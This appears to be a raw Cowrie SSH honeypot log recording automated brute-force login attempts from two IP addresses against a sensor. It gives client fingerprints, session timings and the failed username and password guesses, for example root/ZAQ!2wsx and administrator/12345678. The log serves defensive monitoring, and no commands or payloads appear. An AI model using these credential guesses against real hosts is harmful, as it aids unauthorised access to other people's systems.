{"eventid":"cowrie.login.failed","username":"fastuser","password":"12345678","message":"login attempt [fastuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:27.473747Z","src_ip":"91.92.42.133","session":"2309658f7445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:28.273595Z","src_ip":"91.92.40.171","session":"2769ceeace91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:28.919821Z","src_ip":"91.92.42.133","session":"2309658f7445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55396,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe0fb2f732e2","protocol":"ssh","message":"New connection: 91.92.40.171:55396 (159.203.135.109:22) [session: fe0fb2f732e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:29.204421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:29.287520Z","src_ip":"91.92.40.171","session":"fe0fb2f732e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:29.409157Z","src_ip":"91.92.40.171","session":"fe0fb2f732e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:30.219984Z","src_ip":"91.92.40.171","session":"fe0fb2f732e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:31.414989Z","src_ip":"91.92.40.171","session":"fe0fb2f732e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:31.956738Z","src_ip":"91.92.40.171","session":"2769ceeace91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3e4adc4f2c","protocol":"ssh","message":"New connection: 91.92.42.133:46024 (159.203.135.109:22) [session: 5f3e4adc4f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:32.136428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:32.800013Z","src_ip":"91.92.42.133","session":"5f3e4adc4f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:32.803032Z","src_ip":"91.92.42.133","session":"5f3e4adc4f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:34.065318Z","src_ip":"91.92.40.171","session":"2769ceeace91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:34.777402Z","src_ip":"91.92.42.133","session":"5f3e4adc4f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55408,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aad32a79a36","protocol":"ssh","message":"New connection: 91.92.40.171:55408 (159.203.135.109:22) [session: 2aad32a79a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:35.609707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:35.613025Z","src_ip":"91.92.40.171","session":"2aad32a79a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:36.127120Z","src_ip":"91.92.40.171","session":"2aad32a79a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:36.674497Z","src_ip":"91.92.42.133","session":"5f3e4adc4f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:38.081633Z","src_ip":"91.92.40.171","session":"2aad32a79a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"67e967c6e60d","protocol":"ssh","message":"New connection: 91.92.42.133:54190 (159.203.135.109:22) [session: 67e967c6e60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:38.825010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:39.364710Z","src_ip":"91.92.42.133","session":"67e967c6e60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:39.371299Z","src_ip":"91.92.42.133","session":"67e967c6e60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:39.828631Z","src_ip":"91.92.40.171","session":"2aad32a79a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55452,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d85f71baede","protocol":"ssh","message":"New connection: 91.92.40.171:55452 (159.203.135.109:22) [session: 7d85f71baede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:40.730804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:40.789056Z","src_ip":"91.92.40.171","session":"7d85f71baede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:40.865216Z","src_ip":"91.92.40.171","session":"7d85f71baede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:41.645978Z","src_ip":"91.92.40.171","session":"7d85f71baede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:42.768958Z","src_ip":"91.92.40.171","session":"7d85f71baede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:43.246824Z","src_ip":"91.92.42.133","session":"67e967c6e60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:44.559094Z","src_ip":"91.92.42.133","session":"67e967c6e60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46982,"dst_ip":"159.203.135.109","dst_port":22,"session":"d29f8fd8c801","protocol":"ssh","message":"New connection: 91.92.40.171:46982 (159.203.135.109:22) [session: d29f8fd8c801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:46.718110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:46.741467Z","src_ip":"91.92.40.171","session":"d29f8fd8c801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:46.826772Z","src_ip":"91.92.40.171","session":"d29f8fd8c801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58234,"dst_ip":"159.203.135.109","dst_port":22,"session":"1249161afc63","protocol":"ssh","message":"New connection: 91.92.42.133:58234 (159.203.135.109:22) [session: 1249161afc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:47.058790Z"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1234","message":"login attempt [devops/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:47.162611Z","src_ip":"91.92.40.171","session":"d29f8fd8c801","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:47.304427Z","src_ip":"91.92.42.133","session":"1249161afc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:47.307030Z","src_ip":"91.92.42.133","session":"1249161afc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:48.242823Z","src_ip":"91.92.42.133","session":"1249161afc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:48.324864Z","src_ip":"91.92.40.171","session":"d29f8fd8c801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:49.507189Z","src_ip":"91.92.42.133","session":"1249161afc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47046,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89abca8c6ea","protocol":"ssh","message":"New connection: 91.92.40.171:47046 (159.203.135.109:22) [session: e89abca8c6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:53.809376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:53.834830Z","src_ip":"91.92.40.171","session":"e89abca8c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58328,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e49d39cc95c","protocol":"ssh","message":"New connection: 91.92.42.133:58328 (159.203.135.109:22) [session: 8e49d39cc95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:54.153117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:54.232552Z","src_ip":"91.92.42.133","session":"8e49d39cc95c","protocol":"ssh"}
